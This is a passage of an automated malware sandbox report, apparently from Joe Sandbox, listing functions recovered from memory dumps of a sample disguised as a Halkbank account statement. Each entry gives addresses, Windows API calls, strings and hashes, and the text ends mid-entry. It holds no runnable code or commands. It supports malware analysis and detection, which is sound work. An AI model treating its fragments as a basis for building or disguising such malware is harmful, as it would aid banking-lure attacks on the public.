Instruction Fuzzy Hash: 5941B2B1D10309DFDB14CF9AC884ADEBBB5FF89310F24822AE419AB250D7759945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 007AF74B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 007AF862

Strings

uz, xrefs: 007AF79E
uz, xrefs: 007AF77E

Memory Dump Source

Source File: 00000003.00000002.3220092242.00000000007A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: CreateWindow
String ID: uz$uz
API String ID: 716092398-1270533253
Opcode ID: da6f9f9f57c15c1530443e66eac0e48d737859fa1e485af1c1f22336edc4631a
Instruction ID: 1b93e2aab1bdcafb4a150c11e7fb5ca421e7d95e463766dfb4e97d26aabde257
Opcode Fuzzy Hash: da6f9f9f57c15c1530443e66eac0e48d737859fa1e485af1c1f22336edc4631a
Instruction Fuzzy Hash: 1B41C1B1D003499FDB14CF99C884ADEBFB5FF89310F24822AE419AB250D7759845CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00E13328 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 231comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00E1418D

Strings

uz, xrefs: 00E14152

Memory Dump Source

Source File: 00000003.00000002.3220783498.0000000000E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e10000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: Initialize
String ID: uz
API String ID: 2538663250-117461317
Opcode ID: c1c68c83e9c670ec2b10928412741838f5c767f8a0a1e873d73350f77c0c14b7
Instruction ID: 92b2eb91cdb8d5402c7c7dffe9d4ae46bfba36f162a8b743ca82769932478834
Opcode Fuzzy Hash: c1c68c83e9c670ec2b10928412741838f5c767f8a0a1e873d73350f77c0c14b7
Instruction Fuzzy Hash: A2913971A003498FCB01DFA4C845ADEBBF6BF89314F25516AE409BB261DB31AE85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 007AD158 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 007AD3BE

Strings

uz, xrefs: 007AD377

Memory Dump Source

Source File: 00000003.00000002.3220092242.00000000007A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: HandleModule
String ID: uz
API String ID: 4139908857-117461317
Opcode ID: 7b5340925ae316cddb04f877b7ca12c280cf207caa31e3a18c0bc1922a5e9446
Instruction ID: 4b3200bc38732ed5b25fa7afdd3133cc1b498c6dca9c9c712b44e9bad2d4c989
Opcode Fuzzy Hash: 7b5340925ae316cddb04f877b7ca12c280cf207caa31e3a18c0bc1922a5e9446
Instruction Fuzzy Hash: 74816870A00B058FD724DF69D45579ABBF1FF89300F108A2EE48AD7A90D779E849CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00E11BF0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 00E11CB1

Strings

uz, xrefs: 00E11C07

Memory Dump Source

Source File: 00000003.00000002.3220783498.0000000000E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e10000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: CallProcWindow
String ID: uz
API String ID: 2714655100-117461317
Opcode ID: 7a76c567daf0496c9a43d0b72583cb2dedd6fc4a85782ab344dc60e4c5957d7f
Instruction ID: b90d6998f3adb7c7774964d5728e9eddd3bc0f6031dc3bcce1a12a9d0e7e862f
Opcode Fuzzy Hash: 7a76c567daf0496c9a43d0b72583cb2dedd6fc4a85782ab344dc60e4c5957d7f
Instruction Fuzzy Hash: 644129B5900305CFDB54CF99C448A9AFBF5FB88314F25C499D519A7321D374A981CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 007A4DA9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 007A4E37

Strings

uz, xrefs: 007A4DCF

Memory Dump Source

Source File: 00000003.00000002.3220092242.00000000007A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: DuplicateHandle
String ID: uz
API String ID: 3793708945-117461317
Opcode ID: ac9d8987e6b55692e4537777a282e04a23d475e3737b7d21669f42b06a34993e
Instruction ID: ac6cbab42be3d59bb04511bdb3baef4da493da81873d0bdd34926a1405db75d7
Opcode Fuzzy Hash: ac9d8987e6b55692e4537777a282e04a23d475e3737b7d21669f42b06a34993e
Instruction Fuzzy Hash: 3021E5B5D00249DFDB10CFA9D484ADEBFF4FB48310F14851AE918A3250C379A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 007A4DB0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 007A4E37

Strings

uz, xrefs: 007A4DCF

Memory Dump Source

Source File: 00000003.00000002.3220092242.00000000007A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: DuplicateHandle
String ID: uz
API String ID: 3793708945-117461317
Opcode ID: 4871d6020fa435219458590675f6c2a6a0a8ee88ddfdb0b0bf7ebb50432c7fba
Instruction ID: e49bb0cf290471ca25d94f1cbbc4b8b5300238aa52f7a8d35d33b35fe9ab8c7b
Opcode Fuzzy Hash: 4871d6020fa435219458590675f6c2a6a0a8ee88ddfdb0b0bf7ebb50432c7fba
Instruction Fuzzy Hash: FB21C4B5D002499FDB10CFAAD984ADEBBF8FB48310F14841AE918A3350D379A954CF65

Uniqueness

Uniqueness Score: -1.00%

Function 007AD5B8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,007AD439,00000800,00000000,00000000), ref: 007AD62A

Strings

uz, xrefs: 007AD5DF

Memory Dump Source

Source File: 00000003.00000002.3220092242.00000000007A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: LibraryLoad
String ID: uz
API String ID: 1029625771-117461317
Opcode ID: 5610d4a85ac8de6b18a098b45efcd8b9685501c6db7acfe2b7ee068c16d3e4c2
Instruction ID: 28b9b95d92a2cbed871557bf0e4de1ab2c75c2f471a059ac92f43449ba542c75
Opcode Fuzzy Hash: 5610d4a85ac8de6b18a098b45efcd8b9685501c6db7acfe2b7ee068c16d3e4c2
Instruction Fuzzy Hash: B51156B6C002098FDB20CFAAD444ADEFBF4EB89310F15852ED419A7600C379A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 007AC148 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,007AD439,00000800,00000000,00000000), ref: 007AD62A

Strings

uz, xrefs: 007AD5DF

Memory Dump Source

Source File: 00000003.00000002.3220092242.00000000007A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: LibraryLoad
String ID: uz
API String ID: 1029625771-117461317
Opcode ID: 0f1c9a3fc7017bb13bb981d0af50b0cf858cb234565dd4acaf7b772ae6ea6c77
Instruction ID: 570a1fb1f88f5833220413eaadbfa72e2873477d7cea22dbae6cc2f781e76af6
Opcode Fuzzy Hash: 0f1c9a3fc7017bb13bb981d0af50b0cf858cb234565dd4acaf7b772ae6ea6c77
Instruction Fuzzy Hash: 8D1129B5D003099FDB20DF9AD448ADEFBF4EB89310F10856ED419A7600C379A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 007AD358 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 007AD3BE

Strings

uz, xrefs: 007AD377

Memory Dump Source

Source File: 00000003.00000002.3220092242.00000000007A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: HandleModule
String ID: uz
API String ID: 4139908857-117461317
Opcode ID: bd09e29fd5ecb526e1a35b8e830c274a0e1bb18c0bca03cadf38d86fb33f33e5
Instruction ID: 9f919be338cd990cb4b762426ddf7b124068e7ce2c8629a24d3bb24852265944
Opcode Fuzzy Hash: bd09e29fd5ecb526e1a35b8e830c274a0e1bb18c0bca03cadf38d86fb33f33e5
Instruction Fuzzy Hash: 3A1110B5C00249CFCB20DF9AD444ADEFBF4EB88310F11852AD41AA7610C379A945CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 00E14130 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00E1418D

Strings

uz, xrefs: 00E14152

Memory Dump Source

Source File: 00000003.00000002.3220783498.0000000000E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e10000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: Initialize
String ID: uz
API String ID: 2538663250-117461317
Opcode ID: 41880ea39d00dfe91f073f831238adb0cce2fd93ea26983b9d30e8e4b41f9da5
Instruction ID: 94988bdad98b3cc35cf1025d5a0d2ebdc37025cb1a88a2f02bf092ebc260f611
Opcode Fuzzy Hash: 41880ea39d00dfe91f073f831238adb0cce2fd93ea26983b9d30e8e4b41f9da5
Instruction Fuzzy Hash: 5C1133B4D043898FCB10DFAAD449BDEBFF4EB48310F20845AD419A3250D379A585CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 00E13318 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00E1418D

Strings

uz, xrefs: 00E14152

Memory Dump Source

Source File: 00000003.00000002.3220783498.0000000000E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e10000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: Initialize
String ID: uz
API String ID: 2538663250-117461317
Opcode ID: 42c90fe522df73c56368ddcdacb10925fb11d59b274cc699b012b1932d1a3a3e
Instruction ID: b56fdf819539d3de01e72b12c51bad62286bca36d825ad1844bf2e27a49fa68c
Opcode Fuzzy Hash: 42c90fe522df73c56368ddcdacb10925fb11d59b274cc699b012b1932d1a3a3e
Instruction Fuzzy Hash: 521100B5D003499FDB20DF9AD449BDEBBF8EB48320F208459D519A7340D379A984CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01007850 Relevance: 3.2, Strings: 2, Instructions: 688COMMON

Download Yara Rule

Strings

$]q, xrefs: 01008397
$]q, xrefs: 01008374

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 1367479b95d209afcf476167b42951b867bade928bb3887ad2eb8c57435b6eee
Instruction ID: 31a5667f018079100b56d07ce1a468502e771536347fd34c48ea025243749136
Opcode Fuzzy Hash: 1367479b95d209afcf476167b42951b867bade928bb3887ad2eb8c57435b6eee
Instruction Fuzzy Hash: E8524074E00218CFEB559BA4C864BAEBBB6FF88300F1081A9D14A6B395DF345E85DF51

Uniqueness

Uniqueness Score: -1.00%

Function 01008849 Relevance: 2.8, Strings: 2, Instructions: 324COMMON

Download Yara Rule

Strings

4']q, xrefs: 01008871
4']q, xrefs: 01008897

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: af66fbcc9d5cbb1e1ae55a8b8b1457ef545593bf2446b02aeb6fcf52ce16fe77
Instruction ID: 28da115774c10786aecf5ffe055e98b85023b82b81e4eccd83e0ff5533b1e0d1
Opcode Fuzzy Hash: af66fbcc9d5cbb1e1ae55a8b8b1457ef545593bf2446b02aeb6fcf52ce16fe77
Instruction Fuzzy Hash: E6B15370B00615CFF7669F2DC558B3D36E5BF95644F1880A7E686CB3E1EA29CC418B42

Uniqueness

Uniqueness Score: -1.00%

Function 01005700 Relevance: 2.8, Strings: 2, Instructions: 264COMMON

Download Yara Rule

Strings

Haq, xrefs: 010057EB
Haq, xrefs: 0100581E

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: 2d6a9c16303cdb8e26154c85360ec21660337e162b02a48590922916384e9b39
Instruction ID: a6bea85dade8099d632d5822db850baf5da0a3b669b6a2368f81fdfe1f8d7208
Opcode Fuzzy Hash: 2d6a9c16303cdb8e26154c85360ec21660337e162b02a48590922916384e9b39
Instruction Fuzzy Hash: EA91BF30704255CFEB269F68D854B2E7BE6FB89304F1484A8E8868B3C5DF399C41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 06632830 Relevance: 2.7, Strings: 2, Instructions: 229COMMON

Download Yara Rule

Strings

LR]q, xrefs: 06632979
LR]q, xrefs: 0663284C

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: LR]q$LR]q
API String ID: 0-3917262905
Opcode ID: d9eae06d55d47a846f8aaa3da652bd65bef3d88805c938fa907f9ba6a13de4c0
Instruction ID: 5155a51aa1b2e072a63e07cac27b2f66f53fd8bdc1250fd7d11822607382e5b5
Opcode Fuzzy Hash: d9eae06d55d47a846f8aaa3da652bd65bef3d88805c938fa907f9ba6a13de4c0
Instruction Fuzzy Hash: EA81B131B101159FDB58EF39C8A496E77FAEF88714B118569E406DB3A1DB30ED02CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01005C60 Relevance: 2.7, Strings: 2, Instructions: 229COMMON

Download Yara Rule

Strings

,aq, xrefs: 01005D36
,aq, xrefs: 01005D40

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: ,aq$,aq
API String ID: 0-2990736959
Opcode ID: 633b510cf2040bf969be7bfbb5cf6e59ef782f206444cf6e89766e5d5d200459
Instruction ID: 928163f2507df13d5b5da16ef08bc300bce47f7676564e3d0b0a4ee8084ae23d
Opcode Fuzzy Hash: 633b510cf2040bf969be7bfbb5cf6e59ef782f206444cf6e89766e5d5d200459
Instruction Fuzzy Hash: 1F818F34A005058FEB5ADF6DCC8896ABBF6BF88304F5581A6D5859B3A1DB31EC41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06639960 Relevance: 2.7, Strings: 2, Instructions: 213COMMON

Download Yara Rule

Strings

(aq, xrefs: 06639B3A
(&]q, xrefs: 06639A7B

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: (&]q$(aq
API String ID: 0-1602648543
Opcode ID: 2ec404ff5e42c18475756282975b282bc3690deb39d9fc87a4b2b9448114b228
Instruction ID: 69318b917a503f76c629a8bf1ee219328b8f1b2ff3a2dcff5d4030c5171c9f66
Opcode Fuzzy Hash: 2ec404ff5e42c18475756282975b282bc3690deb39d9fc87a4b2b9448114b228
Instruction Fuzzy Hash: FE71A231F002199FDB55DFA9C8506AFBBB6AFC8710F148529E406AB380EF749D46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01003480 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

Xaq, xrefs: 010034B6
Xaq, xrefs: 0100348D

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: Xaq$Xaq
API String ID: 0-1488805882
Opcode ID: 5b69422e98d0510a4310dc26b664cbaa628ba45dd0da9461d6ec135a10d1f2a8
Instruction ID: bbe1419b9b1b97f9c4810265b966efa668cd66289e003940f125904c4561c4e7
Opcode Fuzzy Hash: 5b69422e98d0510a4310dc26b664cbaa628ba45dd0da9461d6ec135a10d1f2a8
Instruction Fuzzy Hash: 94312539B002258FFF6B4A6D889427EB6EABBC4211F144039D982CF3D5DF79C8448391

Uniqueness

Uniqueness Score: -1.00%

Function 01000C8F Relevance: 1.7, Strings: 1, Instructions: 417COMMON

Download Yara Rule

Strings

LR]q, xrefs: 01000E80

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 1dbc4af50181fc8f02376c113b914c8f6cae84591526cb284dfd27c32a9662dd
Instruction ID: 20d85c9b10a4146290e2f3a4073e5e6975c1e155b45a13e63f5e47acb2d7abaa
Opcode Fuzzy Hash: 1dbc4af50181fc8f02376c113b914c8f6cae84591526cb284dfd27c32a9662dd
Instruction Fuzzy Hash: 6E220178904619CFCB54EF64E894A8DBBB2FF49700F2086A9E8499B358DF745D85CF80

Uniqueness

Uniqueness Score: -1.00%

Function 01000CA0 Relevance: 1.7, Strings: 1, Instructions: 410COMMON

Download Yara Rule

Strings

LR]q, xrefs: 01000E80

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 3b262f78962cd50d713c8f6e6398994409b313a1277970c1879d9df26f8ebb98
Instruction ID: fd3b98d83f87c3525769dfa7637c7800773a7725025607e9340409e2a3e0b96e
Opcode Fuzzy Hash: 3b262f78962cd50d713c8f6e6398994409b313a1277970c1879d9df26f8ebb98
Instruction Fuzzy Hash: 1322F174904619CFCB54EF64E894A8DBBB2FF49700F2086A9E8499B358DF745D85CF80

Uniqueness

Uniqueness Score: -1.00%

Function 0662BFC4 Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224906615.0000000006620000.00000040.00000800.00020000.00000000.sdmp, Offset: 06620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6620000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9f32d1c3542bdf758a1bf3668edbf48447053d9c2aa70fa153c558a7c914044
Instruction ID: f1ceaeb50525646adee0c0259a44a314c04a81ad012812a21d5b3d2c18bbb09c
Opcode Fuzzy Hash: c9f32d1c3542bdf758a1bf3668edbf48447053d9c2aa70fa153c558a7c914044
Instruction Fuzzy Hash: 2E415B7890451ADFDB54CF98C0C0AEEBBB2FF88348F649159E459A7281C731A887CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0662BF64 Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224906615.0000000006620000.00000040.00000800.00020000.00000000.sdmp, Offset: 06620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6620000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a83dd4fff42aed81b24b1970ffd35f4b22f9d352e73057c03ea943870e1c71b5
Instruction ID: 9dac9090a8dbc2ecb6ba3c0dbd53031c0b26334894c36959e570d89b2b073477
Opcode Fuzzy Hash: a83dd4fff42aed81b24b1970ffd35f4b22f9d352e73057c03ea943870e1c71b5
Instruction Fuzzy Hash: 524138B4D0451ADFDB54CF98D0C0AEDBBB2FF88318F249159E415A7281C731A886CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0662BE18 Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0662BE79

Memory Dump Source

Source File: 00000003.00000002.3224906615.0000000006620000.00000040.00000800.00020000.00000000.sdmp, Offset: 06620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6620000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cf852558b40453d41d8452c1cec68fcc5b83da993fc3d66f403bfe789c76b696
Instruction ID: 931292813421cef4388086a1a5c8a24d7a7f010a82963df6e3712dc8aad80676
Opcode Fuzzy Hash: cf852558b40453d41d8452c1cec68fcc5b83da993fc3d66f403bfe789c76b696
Instruction Fuzzy Hash: 0B214AB1D012199BEB18CF9AD984BDEFBF6EF88354F14912AE41473291C7701946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06628D94 Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 06628ED6

Memory Dump Source

Source File: 00000003.00000002.3224906615.0000000006620000.00000040.00000800.00020000.00000000.sdmp, Offset: 06620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6620000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 13a9b4708676d0992a66ebb17c68d54b74e57d5d9477acfdfde2fd4ccc80d740
Instruction ID: 6440f1f06f9ffda9e2f743e6d2924ca14efe51fb7b5a47beb9c48fff0dde12fc
Opcode Fuzzy Hash: 13a9b4708676d0992a66ebb17c68d54b74e57d5d9477acfdfde2fd4ccc80d740
Instruction Fuzzy Hash: 7911AF74E0112A8FDB44EFA8D880AADBBB5FB88304F54C129E844A7241E730A885CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0100A6B0 Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

(o]q, xrefs: 0100A839

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: (o]q
API String ID: 0-794736227
Opcode ID: 25fa37d50cfa22817a73d4a8f4cf18ab2462f853fdd71825f7bd027c362223b7
Instruction ID: fd7c6dbed4a27aa762a8dbc898b5e57d312e19ed3ad0eaff1016cf4241f32816
Opcode Fuzzy Hash: 25fa37d50cfa22817a73d4a8f4cf18ab2462f853fdd71825f7bd027c362223b7
Instruction Fuzzy Hash: 3D41FE357002089FCB269F79D854AAE7BF6BFC8310F2484A9E946D7391CE359C02CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06639710 Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

uz, xrefs: 06639E0A

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: uz
API String ID: 0-117461317
Opcode ID: 6960f8a18895599790799f47f42875ff2b6d0967faa15a8e7225f729b924eeda
Instruction ID: 995886c824b8f8a3ae1e8e1eeca9869c9771f988a8953813f7756ee13e0896f4
Opcode Fuzzy Hash: 6960f8a18895599790799f47f42875ff2b6d0967faa15a8e7225f729b924eeda
Instruction Fuzzy Hash: E91144B680034A9FDB10CF99C845BDEBBF4EB48320F148419E518A7210D379A550DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0100A878 Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e773217aead326fcd289eba105686bd607cf13a7c962db7c8f1656c2fdb1e63
Instruction ID: 79b15cb0f1da4156f80f57635f32f27ba8f96493f809b8f3e137028043fdc6f3
Opcode Fuzzy Hash: 0e773217aead326fcd289eba105686bd607cf13a7c962db7c8f1656c2fdb1e63
Instruction Fuzzy Hash: 10F10875B00619CFDB15CF6CC584A9DBBF6AF88310F1A8099E559AB3A1CB35EC81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01007498 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf5b30456812dfccaa9bd2e9e062a0b6abbfa60957fa146c76a4f8770b106659
Instruction ID: c89fadd46e8c5459cd1efc6fd712217d57fa5224c3932f331ae24bb66fd3678f
Opcode Fuzzy Hash: bf5b30456812dfccaa9bd2e9e062a0b6abbfa60957fa146c76a4f8770b106659
Instruction Fuzzy Hash: C6712C347002458FEB66DF2CC898AAD7BE5BF49201F1904A5E686CB3B1DB79EC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 066315E9 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 745d56cdaa38068d717a47e280325b89b627b83953c2f1d6d89e3c43d11ffcd1
Instruction ID: 8028de7bc94bfabf56a7ec4e7552435f6035f494741cd5d7f3e340788f987e06
Opcode Fuzzy Hash: 745d56cdaa38068d717a47e280325b89b627b83953c2f1d6d89e3c43d11ffcd1
Instruction Fuzzy Hash: B681A174E412289FDB64DF65DC50BDDBBB2AF89300F1081EAE849A7254DB315E81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0100D3CA Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5ff64698bfe4833e492fa08b5ac5a706da9471a04a56a8a0a0668e79b4cc771
Instruction ID: 6743c0cfda81405672f6a48862938b878304a804a0a6157128be175f5644f1d4
Opcode Fuzzy Hash: d5ff64698bfe4833e492fa08b5ac5a706da9471a04a56a8a0a0668e79b4cc771
